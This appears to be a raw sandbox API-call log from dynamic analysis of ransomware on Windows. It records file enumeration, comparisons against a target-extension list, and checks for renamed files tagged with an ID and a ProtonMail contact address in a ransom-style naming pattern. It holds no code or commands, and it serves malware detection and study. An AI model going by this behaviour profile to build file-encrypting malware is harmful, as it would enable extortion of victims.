	[0168.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0168.261] lstrlenW (lpString=".1cd") returned 4
	[0168.261] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0168.262] lstrlenW (lpString=".jpg") returned 4
	[0168.262] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0168.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0168.262] lstrlenW (lpString=".doc") returned 4
	[0168.262] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.262] lstrlenW (lpString=".docx") returned 5
	[0168.262] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0168.262] lstrlenW (lpString=".pdf") returned 4
	[0168.262] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.262] lstrlenW (lpString=".xls") returned 4
	[0168.262] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.262] lstrlenW (lpString=".xlsx") returned 5
	[0168.262] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0168.262] lstrlenW (lpString=".ppt") returned 4
	[0168.262] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0168.262] lstrlenW (lpString=".zip") returned 4
	[0168.262] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.262] lstrlenW (lpString=".rar") returned 4
	[0168.262] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.262] lstrlenW (lpString=".bz2") returned 4
	[0168.262] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.262] lstrlenW (lpString=".7z") returned 3
	[0168.262] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0168.262] lstrlenW (lpString=".dbf") returned 4
	[0168.262] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0168.262] lstrlenW (lpString=".1cd") returned 4
	[0168.262] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0168.263] lstrlenW (lpString=".jpg") returned 4
	[0168.263] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.263] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0168.263] lstrlenW (lpString="ipsdeu.xml") returned 10
	[0168.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0168.263] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=2616) returned 1
	[0168.263] CloseHandle (hObject=0x46c) returned 1
	[0168.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20
	[0168.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0168.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0168.264] lstrlenW (lpString=".doc") returned 4
	[0168.264] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.264] lstrlenW (lpString=".docx") returned 5
	[0168.264] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1
	[0168.264] lstrlenW (lpString=".pdf") returned 4
	[0168.264] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.264] lstrlenW (lpString=".xls") returned 4
	[0168.264] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.264] lstrlenW (lpString=".xlsx") returned 5
	[0168.264] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1
	[0168.264] lstrlenW (lpString=".ppt") returned 4
	[0168.264] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0168.264] lstrlenW (lpString=".zip") returned 4
	[0168.264] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.264] lstrlenW (lpString=".rar") returned 4
	[0168.264] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.264] lstrlenW (lpString=".bz2") returned 4
	[0168.265] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.265] lstrlenW (lpString=".7z") returned 3
	[0168.265] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0168.265] lstrlenW (lpString=".dbf") returned 4
	[0168.265] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0168.265] lstrlenW (lpString=".1cd") returned 4
	[0168.265] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0168.265] lstrlenW (lpString=".jpg") returned 4
	[0168.265] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0168.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0168.265] lstrlenW (lpString=".doc") returned 4
	[0168.265] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.265] lstrlenW (lpString=".docx") returned 5
	[0168.265] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1
	[0168.265] lstrlenW (lpString=".pdf") returned 4
	[0168.265] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.265] lstrlenW (lpString=".xls") returned 4
	[0168.265] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.265] lstrlenW (lpString=".xlsx") returned 5
	[0168.265] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1
	[0168.265] lstrlenW (lpString=".ppt") returned 4
	[0168.265] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0168.266] lstrlenW (lpString=".zip") returned 4
	[0168.266] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.266] lstrlenW (lpString=".rar") returned 4
	[0168.266] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.266] lstrlenW (lpString=".bz2") returned 4
	[0168.266] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.266] lstrlenW (lpString=".7z") returned 3
	[0168.266] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0168.266] lstrlenW (lpString=".dbf") returned 4
	[0168.266] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0168.266] lstrlenW (lpString=".1cd") returned 4
	[0168.266] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0168.266] lstrlenW (lpString=".jpg") returned 4
	[0168.266] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.266] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0168.266] lstrlenW (lpString="ipsel.xml") returned 9
	[0168.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0168.267] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=2618) returned 1
	[0168.267] CloseHandle (hObject=0x46c) returned 1
	[0168.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20
	[0168.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0168.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0168.267] lstrlenW (lpString=".doc") returned 4
	[0168.267] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.267] lstrlenW (lpString=".docx") returned 5
	[0168.267] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1
	[0168.267] lstrlenW (lpString=".pdf") returned 4
	[0168.267] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.267] lstrlenW (lpString=".xls") returned 4
	[0168.267] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.267] lstrlenW (lpString=".xlsx") returned 5
	[0168.267] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1
	[0168.267] lstrlenW (lpString=".ppt") returned 4
	[0168.267] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0168.267] lstrlenW (lpString=".zip") returned 4
	[0168.267] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.267] lstrlenW (lpString=".rar") returned 4
	[0168.267] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.268] lstrlenW (lpString=".bz2") returned 4
	[0168.268] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.268] lstrlenW (lpString=".7z") returned 3
	[0168.268] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0168.268] lstrlenW (lpString=".dbf") returned 4
	[0168.268] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0168.268] lstrlenW (lpString=".1cd") returned 4
	[0168.268] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0168.268] lstrlenW (lpString=".jpg") returned 4
	[0168.268] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0168.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0168.268] lstrlenW (lpString=".doc") returned 4
	[0168.268] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.268] lstrlenW (lpString=".docx") returned 5
	[0168.268] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1
	[0168.268] lstrlenW (lpString=".pdf") returned 4
	[0168.268] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.268] lstrlenW (lpString=".xls") returned 4
	[0168.268] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.268] lstrlenW (lpString=".xlsx") returned 5
	[0168.268] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1
	[0168.268] lstrlenW (lpString=".ppt") returned 4
	[0168.268] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0168.268] lstrlenW (lpString=".zip") returned 4
	[0168.268] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.268] lstrlenW (lpString=".rar") returned 4
	[0168.268] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.269] lstrlenW (lpString=".bz2") returned 4
	[0168.269] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.269] lstrlenW (lpString=".7z") returned 3
	[0168.269] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0168.269] lstrlenW (lpString=".dbf") returned 4
	[0168.269] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0168.269] lstrlenW (lpString=".1cd") returned 4
	[0168.269] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0168.269] lstrlenW (lpString=".jpg") returned 4
	[0168.269] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.269] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0168.269] lstrlenW (lpString="ipsen.xml") returned 9
	[0168.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0168.270] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=2578) returned 1
	[0168.270] CloseHandle (hObject=0x46c) returned 1
	[0168.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20
	[0168.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0168.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0168.271] lstrlenW (lpString=".doc") returned 4
	[0168.271] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.271] lstrlenW (lpString=".docx") returned 5
	[0168.271] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0168.271] lstrlenW (lpString=".pdf") returned 4
	[0168.271] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.271] lstrlenW (lpString=".xls") returned 4
	[0168.271] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.271] lstrlenW (lpString=".xlsx") returned 5
	[0168.271] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0168.271] lstrlenW (lpString=".ppt") returned 4
	[0168.271] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0168.271] lstrlenW (lpString=".zip") returned 4
	[0168.271] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.271] lstrlenW (lpString=".rar") returned 4
	[0168.271] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.271] lstrlenW (lpString=".bz2") returned 4
	[0168.271] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.271] lstrlenW (lpString=".7z") returned 3
	[0168.271] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0168.271] lstrlenW (lpString=".dbf") returned 4
	[0168.271] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0168.271] lstrlenW (lpString=".1cd") returned 4
	[0168.271] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0168.271] lstrlenW (lpString=".jpg") returned 4
	[0168.271] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0168.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0168.272] lstrlenW (lpString=".doc") returned 4
	[0168.272] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.272] lstrlenW (lpString=".docx") returned 5
	[0168.272] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0168.272] lstrlenW (lpString=".pdf") returned 4
	[0168.272] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.272] lstrlenW (lpString=".xls") returned 4
	[0168.272] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.272] lstrlenW (lpString=".xlsx") returned 5
	[0168.272] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0168.272] lstrlenW (lpString=".ppt") returned 4
	[0168.272] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0168.272] lstrlenW (lpString=".zip") returned 4
	[0168.272] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.272] lstrlenW (lpString=".rar") returned 4
	[0168.272] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.272] lstrlenW (lpString=".bz2") returned 4
	[0168.272] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.272] lstrlenW (lpString=".7z") returned 3
	[0168.272] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0168.272] lstrlenW (lpString=".dbf") returned 4
	[0168.272] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0168.272] lstrlenW (lpString=".1cd") returned 4
	[0168.272] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0168.272] lstrlenW (lpString=".jpg") returned 4
	[0168.273] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.273] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0168.273] lstrlenW (lpString="ipsesp.xml") returned 10
	[0168.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0168.274] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3024) returned 1
	[0168.274] CloseHandle (hObject=0x46c) returned 1
	[0168.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20
	[0168.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0168.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0168.274] lstrlenW (lpString=".doc") returned 4
	[0168.274] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.274] lstrlenW (lpString=".docx") returned 5
	[0168.274] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0168.274] lstrlenW (lpString=".pdf") returned 4
	[0168.274] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.274] lstrlenW (lpString=".xls") returned 4
	[0168.274] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.274] lstrlenW (lpString=".xlsx") returned 5
	[0168.274] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0168.274] lstrlenW (lpString=".ppt") returned 4
	[0168.274] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0168.274] lstrlenW (lpString=".zip") returned 4
	[0168.274] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.275] lstrlenW (lpString=".rar") returned 4
	[0168.275] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.275] lstrlenW (lpString=".bz2") returned 4
	[0168.275] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.275] lstrlenW (lpString=".7z") returned 3
	[0168.275] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0168.275] lstrlenW (lpString=".dbf") returned 4
	[0168.275] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0168.275] lstrlenW (lpString=".1cd") returned 4
	[0168.275] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0168.275] lstrlenW (lpString=".jpg") returned 4
	[0168.275] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0168.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0168.275] lstrlenW (lpString=".doc") returned 4
	[0168.275] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.275] lstrlenW (lpString=".docx") returned 5
	[0168.275] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0168.275] lstrlenW (lpString=".pdf") returned 4
	[0168.275] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.275] lstrlenW (lpString=".xls") returned 4
	[0168.275] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.275] lstrlenW (lpString=".xlsx") returned 5
	[0168.275] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0168.275] lstrlenW (lpString=".ppt") returned 4
	[0168.275] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0168.275] lstrlenW (lpString=".zip") returned 4
	[0168.276] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.276] lstrlenW (lpString=".rar") returned 4
	[0168.276] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.276] lstrlenW (lpString=".bz2") returned 4
	[0168.276] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.276] lstrlenW (lpString=".7z") returned 3
	[0168.276] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0168.276] lstrlenW (lpString=".dbf") returned 4
	[0168.276] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0168.276] lstrlenW (lpString=".1cd") returned 4
	[0168.276] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61
	[0168.276] lstrlenW (lpString=".jpg") returned 4
	[0168.276] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.276] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0168.276] lstrlenW (lpString="ipsfin.xml") returned 10
	[0168.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0168.277] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=2658) returned 1
	[0168.277] CloseHandle (hObject=0x46c) returned 1
